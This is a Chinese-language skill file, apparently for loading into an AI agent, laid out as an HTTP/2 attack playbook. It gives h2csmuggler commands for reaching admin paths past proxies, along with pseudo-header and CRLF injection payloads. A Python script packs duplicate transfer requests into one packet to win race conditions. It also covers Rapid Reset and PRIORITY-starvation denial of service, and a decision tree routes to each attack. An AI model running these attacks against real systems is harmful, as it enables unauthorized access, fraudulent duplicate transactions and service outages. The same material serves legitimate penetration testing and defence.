http2-specific-attacks

技能：HTTP/2 特有攻击 — 专家攻击手册

AI 加载指令：介绍超越基础请求走私的 HTTP/2 协议层攻击技术。涵盖 h2c 走私、伪首部操纵、HPACK 攻击、单包竞态条件，以及 H2→H1 降级注入。基础模型会将 HTTP/2 走私与 HTTP/1.1 走私混为一谈——本技能专注于 H2 独有的攻击面。

0. 相关路由

• request-smuggling — CL.TE/TE.CL/TE.TE 基础知识，以及 H2.CL/H2.TE 变体
• request-smuggling/H2_SMUGGLING_VARIANTS.md — 字节级 H2.CL/H2.TE 载荷、CL.0、客户端侧反序列化
• race-condition — 单包攻击利用 H2 多路复用触发竞态条件
• web-cache-deception — 通过 H2 走私响应实施缓存投毒

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1. HTTP/2 攻击面概览

特性	攻击面
二进制分帧	帧级操纵、解析器差异
HPACK 压缩	压缩预言机（CRIME/BREACH）、表投毒
多路复用	单包竞态条件、RST_STREAM 洪泛
服务器推送	通过未经请求的推送实施缓存投毒
伪首部（:method/:path/:authority/:scheme）	注入、请求拆分、路径差异

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2. h2c（HTTP/2 明文）走私

2.1 概念

h2c 是不使用 TLS 的 HTTP/2，通过 HTTP/1.1 Upgrade 机制协商。许多反向代理会转发 Upgrade: h2c 首部，却无法理解它，从而允许攻击者绕过代理层的访问控制。

Client ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend
                                                                    │
                                                            Backend speaks H2
                                                            Proxy is blind to
                                                            the H2 conversation

2.2 攻击流程

1. Client sends HTTP/1.1 request with:
   GET / HTTP/1.1
   Host: target.com
   Upgrade: h2c
   HTTP2-Settings: <base64 H2 settings>
   Connection: Upgrade, HTTP2-Settings

2. Proxy forwards request (doesn't understand h2c)
3. Backend responds: HTTP/1.1 101 Switching Protocols
4. Connection is now HTTP/2 between client and backend
5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames
6. Client sends H2 requests directly to backend, bypassing proxy rules

2.3 可绕过的内容

✓ Path-based access controls (/admin blocked at proxy → accessible via h2c)
✓ WAF rules (proxy-side WAF can't inspect H2 binary frames)
✓ Rate limiting (proxy-level rate limits bypassed)
✓ Authentication (proxy-enforced auth headers)
✓ IP restrictions (proxy validates source IP, but h2c tunnel bypasses)

2.4 工具：h2csmuggler

# Install
git clone https://github.com/BishopFox/h2csmuggler
cd h2csmuggler
pip3 install h2

# Basic smuggle — access /admin bypassing proxy restrictions
python3 h2csmuggler.py -x https://target.com/ --test

# Smuggle specific path
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users

# With custom headers
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin \
    -H "Authorization: Bearer token123"

2.5 检测

# Check if backend supports h2c upgrade
curl -v --http1.1 https://target.com/ \
    -H "Upgrade: h2c" \
    -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" \
    -H "Connection: Upgrade, HTTP2-Settings"

# 101 Switching Protocols → h2c supported
# 200/400/other → h2c not supported or proxy blocks upgrade

---

3. 伪首部注入

3.1 HTTP/2 伪首部

HTTP/2 使用伪首部（以 : 为前缀）替代请求行：

伪首部	HTTP/1.1 中的对应项	示例
:method	请求方法	GET、POST
:path	请求 URI	/api/users
:authority	Host 首部	target.com
:scheme	协议	https

3.2 代理与后端之间的路径差异

Scenario: Proxy routes based on :path, backend uses different parsing

H2 request:
  :method: GET
  :path: /public/../admin/users
  :authority: target.com

Proxy sees: /public/../admin/users → matches /public/* rule → ALLOWED
Backend normalizes: /admin/users → serves admin content

3.3 重复伪首部注入

HTTP/2 规范禁止重复的伪首部，但不同实现的行为各异：

:method: GET
:path: /public
:path: /admin       ← duplicate, forbidden by spec
:authority: target.com

Proxy may use first :path (/public) for routing
Backend may use last :path (/admin) for serving

3.4 Authority 与 Host 不一致

:authority: public.target.com    ← proxy routes based on this
host: admin.internal.target.com  ← backend may prefer Host header

Result: proxy routes to public vhost, backend serves admin vhost

3.5 Scheme 操纵

:scheme: https
:path: /api/internal
:authority: target.com

If backend trusts :scheme to determine if request is "internal":
  :scheme: https → "external" → restricted
  :scheme: http  → "internal" → unrestricted access

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4. HPACK 压缩攻击

4.1 HTTP/2 上的 CRIME/BREACH

Principle: HPACK compresses headers. If attacker controls part of a header and a secret
exists in the same compression context, matching guesses → smaller frames → oracle.

Limitation: HPACK uses static+dynamic table (not raw DEFLATE), per-connection table,
requires many requests on same connection. Harder than original CRIME.

4.2 首部表投毒

HPACK dynamic table stores recent headers across requests on same connection.
1. Attacker sends X-Custom: malicious-value → added to dynamic table
2. Subsequent requests may reference this entry
3. If CDN/proxy pools connections → attacker and victim share table → cross-request leakage

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5. 滥用流多路复用

5.1 单包攻击（竞态条件）

HTTP/2 多路复用允许在一个 TCP 数据包中发送多个请求，从而实现真正的服务器端同时处理：

Traditional race condition: send N requests → network jitter → inconsistent timing
H2 single-packet: pack N requests into one TCP segment → all arrive simultaneously

                    ┌─ Stream 1: POST /transfer (amount=1000)
Single TCP packet ──├─ Stream 3: POST /transfer (amount=1000)
                    ├─ Stream 5: POST /transfer (amount=1000)
                    └─ Stream 7: POST /transfer (amount=1000)
                    
All 4 requests processed at the same nanosecond window

# Using h2 library — prepare all requests, send in single write
import h2.connection, h2.config, socket, ssl

ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = ctx.wrap_socket(socket.create_connection((host, 443)), server_hostname=host)

conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())

for i in range(20):
    sid = conn.get_next_available_stream_id()
    conn.send_headers(sid, [(':method','POST'),(':path',path),(':authority',host),(':scheme','https')])
    conn.send_data(sid, b'amount=1000', end_stream=True)

sock.sendall(conn.data_to_send())  # ALL frames in single TCP packet

5.2 RST_STREAM 洪泛（CVE-2023-44487“快速重置”）

Attack: HEADERS (open stream) → RST_STREAM (cancel) → repeat thousands/sec
Server processes each open/close but client doesn't wait for responses
Amplification: minimal client resources → massive server CPU exhaustion

5.3 PRIORITY 操纵

Set exclusive=true + weight=256 on attacker's stream → starve other users' requests

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6. HTTP/2 → HTTP/1.1 降级问题

6.1 通过二进制格式注入首部

H2 首部值为二进制数据——\r\n 可作为值中的有效数据。当代理降级到 H1 时，首部值中的 \r\n 会变成实际的换行符 → 首部注入。

H2: X-Custom: "value\r\nInjected: evil"  → binary, valid
H1: X-Custom: value                      → line break
    Injected: evil                        → new header!

6.2 Transfer-Encoding 走私

H2 规范禁止 transfer-encoding，但某些代理会在降级过程中将其传递 → 后端处理分块编码 → H2.TE 走私。参见 ../request-smuggling/H2_SMUGGLING_VARIANTS.md。

6.3 Content-Length 差异

H2 使用帧长度（无需 CL）。如果代理在降级过程中生成 CL，而攻击者也发送了 CL 首部 → 长度冲突 → 请求走私。

6.4 首部名称大小写

H2 要求首部名称使用小写。发送 Transfer-Encoding（大写）在 H2 中无效，但某些代理会将其传递 → 在后端成为有效的 H1 首部。

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7. 服务器推送缓存投毒

Attack: trigger server push for /static/app.js with attacker-controlled content
  → PUSH_PROMISE frame pushes malicious response
  → browser/CDN caches poisoned content under legitimate URL
  → all subsequent loads serve attacker's content

Mitigation: most modern browsers/CDNs restrict or disable server push

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8. 决策树

Target supports HTTP/2?
│
├── YES
│   ├── Does proxy support h2c upgrade?
│   │   ├── YES → h2c smuggling (Section 2)
│   │   │   └── Access restricted paths bypassing proxy rules
│   │   └── NO → Continue
│   │
│   ├── H2→H1 downgrade between proxy and backend?
│   │   ├── YES → Header injection via binary format (Section 6.1)
│   │   │   ├── TE header passthrough? → H2.TE smuggling (Section 6.2)
│   │   │   ├── CL discrepancy? → H2.CL smuggling (Section 6.3)
│   │   │   └── See ../request-smuggling/H2_SMUGGLING_VARIANTS.md
│   │   └── NO (end-to-end H2) → Continue
│   │
│   ├── Need race condition?
│   │   ├── YES → Single-packet attack via multiplexing (Section 5.1)
│   │   │   └── Pack N requests in one TCP segment
│   │   └── NO → Continue
│   │
│   ├── Pseudo-header manipulation viable?
│   │   ├── :path discrepancy → path confusion (Section 3.2)
│   │   ├── :authority vs Host → vhost confusion (Section 3.4)
│   │   └── :scheme manipulation → access control bypass (Section 3.5)
│   │
│   ├── Server push enabled?
│   │   ├── YES → Cache poisoning via push (Section 7)
│   │   └── NO → Continue
│   │
│   └── DoS objective?
│       ├── RST_STREAM rapid reset (Section 5.2)
│       └── PRIORITY starvation (Section 5.3)
│
└── NO (HTTP/1.1 only)
    └── See ../request-smuggling/SKILL.md for H1-specific techniques

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9. 工具参考

工具	用途
h2csmuggler	h2c 升级走私（github.com/BishopFox/h2csmuggler）
http2smugl	H2 专项反同步测试（github.com/neex/http2smugl）
h2 (Python)	用于构造帧的 HTTP/2 协议库（github.com/python-hyper/h2）
nghttp2	H2 客户端/服务端工具（nghttp2.org）
Burp HTTP Request Smuggler	自动扫描变体
curl --http2	快速 H2 探测（内置）

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10. 快速参考

# h2c probe
curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"

# H2 support check
curl -v --http2 https://target.com/ 2>&1 | grep "ALPN"